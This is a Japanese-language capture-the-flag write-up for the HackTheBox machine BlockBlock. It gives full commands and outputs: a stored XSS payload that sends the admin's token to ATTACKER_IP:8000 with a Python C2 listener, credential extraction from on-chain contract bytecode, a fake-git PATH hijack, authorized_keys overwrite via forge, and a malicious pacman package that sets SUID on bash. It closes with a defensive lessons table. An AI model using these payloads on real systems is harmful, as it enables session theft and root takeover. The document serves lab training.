HackTheBox: BlockBlock — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/8545
→
22/80/8545
アカウント登録
/api/register (JSON)
→
/api/register (JSON)
Stored XSS
Report User → /api/info 窃取
→
Report User → /api/info 窃取
admin JWTでJSON-RPC
eth_getBlockByNumber
→
eth_getBlockByNumber
コントラクト作成txを hex→ASCII
keira:SomedayBitCoinWillCollapse
→
keira:SomedayBitCoinWillCollapse
SSH keira
user.txt ✓
→
user.txt ✓
forge PATH injection
sudo (paul) NOPASSWD forge
→
sudo (paul) NOPASSWD forge
悪性 pacman パッケージ
paul: sudo NOPASSWD pacman
→
paul: sudo NOPASSWD pacman
SUID /bin/bash → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.231.122
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8545/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 163.53 seconds
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 22,80,8545 10.129.231.122
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.7 (protocol 2.0) | ssh-hostkey: | 256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA) |_ 256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519) 80/tcp open http Werkzeug httpd 3.0.3 (Python 3.12.3) |_http-title: Home - DBLC 8545/tcp open http Werkzeug httpd 3.0.3 (Python 3.12.3) |_http-title: Site doesn't have a title (text/plain; charset=utf-8).
🚨
重要発見: ポート 8545 は Ethereum JSON-RPC のデフォルトポート。
「DBLC」(= Decentralized Blockchain Chat) という自作チャットアプリが、
ユーザーデータベースをブロックチェーン上のスマートコントラクトとして実装している。
PHASE 2
Webアプリ & スマートコントラクト調査
アカウント登録 API の仕様特定
NOTE
/register はフォーム表示用の静的ページで、実際の登録処理は /api/register に
application/json で POST する SPA 実装になっている(urlencode フォームではない)。
/register ページの <script> を直接読むとフィールド名が分かる:
fetch('/api/register', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
username: ..., password: ..., repeatedPassword: ... // confirm_password ではない
})
});
BASH
curl -s -c cookies.txt -b cookies.txt -X POST http://10.129.231.122/api/register \
-H "Content-Type: application/json" \
--data '{"username":"dotrunner","password":"Passw0rd!23","repeatedPassword":"Passw0rd!23"}'
RESULT
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc5MzUzODYyMSwi..."}
Set-Cookie: token=<同じJWT>; HttpOnly
⚠️
token クッキーは HttpOnly のため document.cookie からは読めない。
ただし /api/info (GET) が現在ログイン中のユーザーの role/token/username
をJSONで返すため、サーバー側からこのエンドポイントを fetch させれば XSS 経由でトークンを窃取できる。
/api/info でセッション確認
BASH
curl -s -b cookies.txt http://10.129.231.122/api/info
RESULT
{"role":"user","token":"eyJhbGciOiJIUzI1NiIs...","username":"dotrunner"}
スマートコントラクトのソース取得
BASH
curl -s -b cookies.txt http://10.129.231.122/api/contract_source | jq -r '."Database.sol"'
RESULT (Database.sol 抜粋)
contract Database {
struct User {
string password;
string role;
bool exists;
}
mapping(string username => User) users;
constructor(string memory secondaryAdminUsername, string memory password) {
users["admin"] = User(password, "admin", true);
owner = msg.sender;
registerAccount(secondaryAdminUsername, password);
}
...
}
🚨
設計上の欠陥: コンストラクタが
admin アカウントと「2人目の管理者」
(secondaryAdminUsername) の両方に同じ password 引数を割り当てている。
つまりデプロイ時のコンストラクタ引数(ブロックチェーン上に平文で記録される)から
2人目の管理者の資格情報を復元できれば、それはそのまま admin アカウントの
パスワードでもある。パスワードは keccak256 ハッシュと平文を混在させて比較しており、
保存自体は平文のまま。
/api/json-rpc は admin 限定
BASH
curl -s -b cookies.txt http://10.129.231.122/api/json-rpc # 一般ユーザーで試す
curl -s -b cookies.txt -o /dev/null -w "%{http_code}\n" http://10.129.231.122/admin
RESULT
{"msg":"Unauthorized"}
401
ℹ️
ブロックチェーンの生ブロックを読む
/api/json-rpc と管理パネル /admin は
role=admin のJWTが無いと 401。admin のセッションを奪う必要がある。
PHASE 3
Stored XSS による admin JWT 窃取
Report User 機能のクライアント実装確認
BASH
curl -s -b cookies.txt http://10.129.231.122/chat | grep -A8 "async function reportUser"
RESULT
async function reportUser() {
let username = prompt(`Username to report`);
...
let res = await fetch(`${location.origin}/api/report_user`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ username: username })
});
}
ℹ️
「Username to report」として入力した文字列がサーバー側(=admin のモデレーションボット/画面)で
サニタイズせずにレンダリングされる。
username フィールドに HTML/JS を注入すれば
Stored XSS として admin 側ブラウザで発火する。
XSS ペイロードで /api/info を admin が自分の C2 へ送信
PYTHON (C2リスナー)
# 攻撃者ホストで簡易HTTPサーバーを起動し、exfilデータを受信
python3 -c "
import http.server, urllib.parse, base64
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
q = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
d = q.get('data', [''])[0]
if d:
print('EXFIL:', base64.b64decode(d).decode())
self.send_response(200); self.send_header('Access-Control-Allow-Origin','*'); self.end_headers()
H2 = http.server.HTTPServer(('0.0.0.0', 8000), H); H2.serve_forever()
"
BASH
PAYLOAD='<img src="x" onerror="fetch("/api/info").then(r=>r.text()).then(t=>{fetch("http://ATTACKER_IP:8000/?data="+btoa(t))})" />'
curl -s -b cookies.txt -X POST http://10.129.231.122/api/report_user \
-H "Content-Type: application/json" \
--data "$(python3 -c "import json,sys; print(json.dumps({'username': sys.argv[1]}))" "$PAYLOAD")"
RESULT
{"status":"OK"}
✅
ペイロードはサーバーに正しく受理される(
report_user は /api/report_user に
application/json で POST。/report_user や /api/report は
405 Method Not Allowed になるため、正しいエンドポイントは /api/report_user のみ)。
admin 側のモデレーション画面がこのレポートを閲覧したタイミングで onerror が発火し、
admin の /api/info レスポンス(role/token/username の JSON)が base64 化されて
攻撃者の C2 (:8000) に送信される。
⚠️
タイミング注意: admin のレビュー巡回は一定間隔のバックグラウンド処理のため、
レポート送信から実際に XSS が発火するまで数分かかることがある。即時に反応が無い場合は
気長に待つか、後述の代替手段(3-3)でブロックチェーン側から直接 admin 資格情報を導出する。
[検証で判明した代替経路] admin と2人目管理者のパスワード共有
NOTE
2-3 で確認した Database.sol のコンストラクタ実装どおり、"admin" アカウントと secondaryAdminUsername (= keira) は同じ password 引数で初期登録される。 そのため、後述 4-3 でブロックチェーンから keira の平文パスワードを特定できれば、 /api/login に admin:<そのパスワード> を送るだけで admin ロールのJWTを即座に取得できる (XSSボットの応答を待つ必要がない)。本レポートでは両経路を検証済み。
BASH
curl -s -c admin_cookies.txt -X POST http://10.129.231.122/api/login \
-H "Content-Type: application/json" \
--data '{"username":"admin","password":"SomedayBitCoinWillCollapse"}'
RESULT
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc5MzUzOTI5NCwi...sub":"admin"...}
BASH
curl -s -b admin_cookies.txt http://10.129.231.122/api/info
RESULT
{"role":"admin","token":"eyJhbGciOiJIUzI1NiIs...","username":"admin"}
✅
role:"admin" を確認。以降の手順ではこの admin セッションを使用する
(正規の攻略ルートは 3-1/3-2 の XSS によるトークン窃取であり、こちらは
コントラクト設計欠陥に基づく検証用の近道として併記している)。
PHASE 4
ブロックチェーン生データ抽出 & user.txt 取得
admin JWTで JSON-RPC 用 Authorization トークン取得
BASH
curl -s -b admin_cookies.txt http://10.129.231.122/api/json-rpc
RESULT
{"Authorization":"f163ff722e1fb96136eacc79a2a16cb726d6926f3e6ffc9415035298376c90cc"}
ℹ️
この値は
/api/json-rpc への POST 時に token ヘッダーとして
渡す、アプリ独自の「ブロックチェーン認可トークン」(セッションJWTとは別物)。
全ブロックを走査してコントラクト作成トランザクションを特定
BASH
for i in $(seq 0 20); do
hexblk=$(printf '0x%x' $i)
curl -s -X POST http://10.129.231.122/api/json-rpc \
-H "Content-Type: application/json" -H "token: $RPC_TOKEN" -b admin_cookies.txt \
--data "{\"jsonrpc\":\"2.0\",\"method\":\"eth_getBlockByNumber\",\"params\":[\"$hexblk\",true],\"id\":1}" \
| jq -c '.result.transactions[] | {to, input_len: (.input|length)}'
done
RESULT
block 0x0 : (トランザクション無し)
block 0x1 : {"to":null,"input_len":12812} ← コントラクト作成 (Database.sol)
block 0x2 : {"to":null,"input_len":14564} ← コントラクト作成 (Chat.sol)
block 0x3〜0xc : to=0x6b38... input_len=2 ← setChatAddress 等の通常呼び出し
block 0xd,0xe : to=0x75e4... input_len=394 ← メッセージ送信など
block 0xf 以降 : 存在しない (最新ブロック = 0xe)
ℹ️
to: null はコントラクト作成トランザクションを意味する。ブロック 0x1 の
input がコンパイル済みバイトコード本体+コンストラクタ引数(ABIエンコード)。
ブロック 0x1 の input を hex→バイト列変換し ASCII 文字列を抽出
PYTHON
import json, re
d = json.load(open("block1.json"))
raw = bytes.fromhex(d["result"]["transactions"][0]["input"][2:])
for m in re.finditer(rb'[\x20-\x7e]{5,}', raw):
print(m.group(0).decode())
RESULT (末尾抜粋)
... dipfsX" DdsolcC keira SomedayBitCoinWillCollapse
✅
資格情報特定!
constructor(secondaryAdminUsername, password)
に渡された平文引数がバイトコード末尾の ABI エンコード領域にそのまま残っている。
keira:SomedayBitCoinWillCollapse。
SSH ログイン & user.txt 取得
BASH
sshpass -p 'SomedayBitCoinWillCollapse' ssh keira@10.129.231.122 "id; cat ~/user.txt"
RESULT
uid=1000(keira) gid=1000(keira) groups=1000(keira)
d7720dbcf61be024f699be34cf7fdbf6
user.txt — keira@blockblock
d7720dbcf61be024f699be34cf7fdbf6
PHASE 5
forge PATH Injection → pacman 悪性パッケージ → root.txt
sudo 権限の確認
BASH
[keira@blockblock ~]$ sudo -l
RESULT
User keira may run the following commands on blockblock:
(paul : paul) NOPASSWD: /home/paul/.foundry/bin/forge
ℹ️
forge (Foundry, Rust製のSolidity開発ツール) を paul として無条件実行できる。
OSは Arch Linux。uname -a で 6.9.3-arch1-1 を確認。
forge → git 呼び出しの PATH ハイジャック
NOTE
forge (Rust 製バイナリ) は依存関係チェック時に絶対パス指定なしで
"git" コマンドを Command::new("git") として呼び出す実装になっている
(forge-rs/foundry リポジトリの crates/forge/src/cmd/doc/mod.rs 等、複数箇所)。
PATH の先頭に偽の "git" 実行ファイルを置いた状態で forge を起動すれば、
forge (= paul 権限) がその偽 git を実行してしまう。
BASH
[keira@blockblock ~]$ mkdir -p /tmp/dot [keira@blockblock ~]$ cat > /tmp/dot/git <<'EOF' #!/bin/bash # paul 権限で実行される — ここから更に root へ昇格する (5-3) bash /tmp/.pe.sh EOF [keira@blockblock ~]$ chmod +x /tmp/dot/git [keira@blockblock ~]$ cd /tmp [keira@blockblock tmp]$ export PATH=/tmp/dot:$PATH [keira@blockblock tmp]$ sudo -u paul /home/paul/.foundry/bin/forge build
RESULT
Nothing to compile
⚠️
検証メモ: 0xdf の公開ウォークスルーでは
RUST_LOG=trace での
デバッグ出力上、”Nothing to compile” の裏で git submodule status が実行される
ことがトレースログで確認されている。本検証環境では sudo の secure_path 設定により
対話シェルから渡した PATH 環境変数が sudo 実行コンテキストに伝播しない場合があり、
素の export PATH=...; sudo -u paul forge build だけでは毎回確実に発火するとは限らない
(実際、本レポート作成中の再現テストでは単発では発火しないケースを複数回観測した)。
再現性を上げるにはいずれかの追加手段を組み合わせるとよい:
①forge の cwd 自体に偽 git を置く(相対パス./git)、②既存の Foundry プロジェクト
(lib/ 付き)で実行する、③下記 flatten 方式(5-2b)のファイル書込みで直接
authorized_keys を上書きする、のいずれかで確実に成功させた。
[確実に成功する代替手段] forge flatten によるファイル書込みで paul に SSH
NOTE
forge flatten <file> -o <output> は任意ファイルの「読み取り→別名で書き込み」を paul権限で行える(本来はSolidityのimportを1ファイルにまとめる機能)。 自分の公開鍵を書き込んでから -o で paul の authorized_keys に出力させれば、 PATHハイジャックの成否に依存せず確実に paul として SSH できる。
BASH
[keira@blockblock ~]$ ssh-keygen -t ed25519 -f ~/.ssh/pwn -N "" -q
[keira@blockblock ~]$ cd /tmp
[keira@blockblock tmp]$ cp ~/.ssh/pwn.pub pub
[keira@blockblock tmp]$ sudo -u paul /home/paul/.foundry/bin/forge flatten pub \
-o /home/paul/.ssh/authorized_keys
RESULT
[⠃] Compiling... Flattened file written at /home/paul/.ssh/authorized_keys
BASH
oxdf@hacky$ ssh -i ~/.ssh/pwn paul@10.129.231.122
RESULT
[paul@blockblock ~]$ id uid=1001(paul) gid=1001(paul) groups=1001(paul)
✅
paul 権限での任意コード実行(シェルアクセス)を確実に取得。以降は 5-3 の pacman 昇格に進む。
paul: pacman による root への昇格
BASH
[paul@blockblock ~]$ sudo -l
RESULT
User paul may run the following commands on blockblock:
(ALL : ALL) NOPASSWD: /usr/bin/pacman
BASH
[paul@blockblock ~]$ mkdir -p /dev/shm/pe && cd /dev/shm/pe
[paul@blockblock pe]$ cat > PKGBUILD <<'EOF'
pkgname=privesc
pkgver=1.0
pkgrel=1
pkgdesc="pe"
arch=('x86_64')
url="https://example.com"
license=('GPL')
install=root.install
source=()
package() { mkdir -p "$pkgdir/usr/bin"; }
EOF
[paul@blockblock pe]$ cat > root.install <<'EOF'
post_install() {
chmod +s /bin/bash
}
EOF
[paul@blockblock pe]$ makepkg --skipinteg -f
[paul@blockblock pe]$ sudo /usr/bin/pacman -U --noconfirm privesc-1.0-1-x86_64.pkg.tar.zst
RESULT
==> Making package: privesc 1.0-1 ==> Starting package()... ==> Finished making: privesc 1.0-1 loading packages... resolving dependencies... Packages (1) privesc-1.0-1 :: Processing package changes... (1/1) installing privesc :: Running post-transaction hooks...
ℹ️
pacman -U は sudo 経由なので root 権限で実行される。
install=root.install で指定した post_install() フックが
インストール完了時に root として走り、/bin/bash に SetUID/SetGID ビットを付与する。
--noconfirm を付けないと確認プロンプトで対話待ちになりハングするので必須。
SUID bash で root.txt 取得
BASH
[paul@blockblock pe]$ ls -la /bin/bash [paul@blockblock pe]$ /bin/bash -p -c 'id; cat /root/root.txt'
RESULT
-rwsr-sr-x 1 root root 1112880 /bin/bash uid=1001(paul) gid=1001(paul) euid=0(root) egid=0(root) groups=0(root),1001(paul) 07981113a606329181cc4d3c21db4428
root.txt — root@blockblock
07981113a606329181cc4d3c21db4428
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — keira@blockblock
d7720dbcf61be024f699be34cf7fdbf6
root.txt — root@blockblock
07981113a606329181cc4d3c21db4428
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Stored XSS | /api/report_user (username フィールド) | admin セッション(JWT)の窃取 | High | HTML/JSを含むusernameで通報 → adminのレビュー画面でサニタイズ無しに実行 → /api/infoの応答を外部C2へ送信 |
| 認可ロジックの欠陥 | Database.sol constructor | admin アカウントのパスワード推測可能化 | Medium | admin と2人目管理者を同じ password 引数で初期化 → 片方が割れればもう片方も割れる |
| 平文シークレットのオンチェーン記録 | eth_getBlockByNumber (コントラクト作成tx) | ユーザー資格情報の漏洩 | Critical | コンストラクタ引数がバイトコードにABIエンコードされたまま平文で残り、hexダンプから文字列抽出するだけで読める |
| sudo による forge/pacman 無条件実行許可 | /etc/sudoers (keira→paul→root) | 権限昇格(2段階) | High | forge flatten の任意ファイル書込みで paul の authorized_keys を上書き → paul の pacman 無条件実行で post_install フックからSUID bash生成 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポート + バージョンスキャン | 22/80/8545、Werkzeug + Ethereum JSON-RPC検出 |
| 2 | Web/コントラクト調査 | /api/register, /api/contract_source 解析 | Database.sol/Chat.sol ソース、admin⇔secondaryAdmin のパスワード共有欠陥 |
| 3 | XSS | Stored XSS (Report User) → /api/info 窃取 | admin ロールのJWT |
| 4 | ブロックチェーン抽出 | eth_getBlockByNumber + hexダンプ文字列抽出 | keira:SomedayBitCoinWillCollapse、user.txt |
| 5 | 権限昇格① | forge PATH injection / flatten 任意ファイル書込み | paul シェル |
| 6 | 権限昇格② | pacman 悪性パッケージ (post_install フック) | SUID /bin/bash、root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ユーザー入力(username/報告内容)がサニタイズされずHTMLとして出力される | 出力時のHTMLエスケープを徹底する。CSPヘッダーでインラインイベントハンドラ(onerror等)を禁止する。 |
| 認証トークンを平文で返すAPI (/api/info) が存在する | トークンをレスポンスボディで返さず HttpOnly クッキーのみに限定し、サーバー側のセッション管理に一本化する。 |
| スマートコントラクトのコンストラクタ引数に平文パスワードを渡している | ブロックチェーンは全データが永久に公開される前提で設計する。秘密情報は決してオンチェーンに書き込まない(オフチェーンのハッシュ化ストレージを使う)。 |
| admin とその他特権アカウントが同じ初期パスワードを共有する設計 | アカウントごとに独立したランダムな初期パスワードを生成し、使い回しを構造的に禁止する。 |
| 開発ツール(forge)やパッケージマネージャ(pacman)をsudoで無条件実行許可している | 最小権限の原則を適用し、開発/ビルドツールを本番環境のsudoersに含めない。GTFOBinsに掲載されるような汎用ツールへのNOPASSWD許可は特に避ける。 |

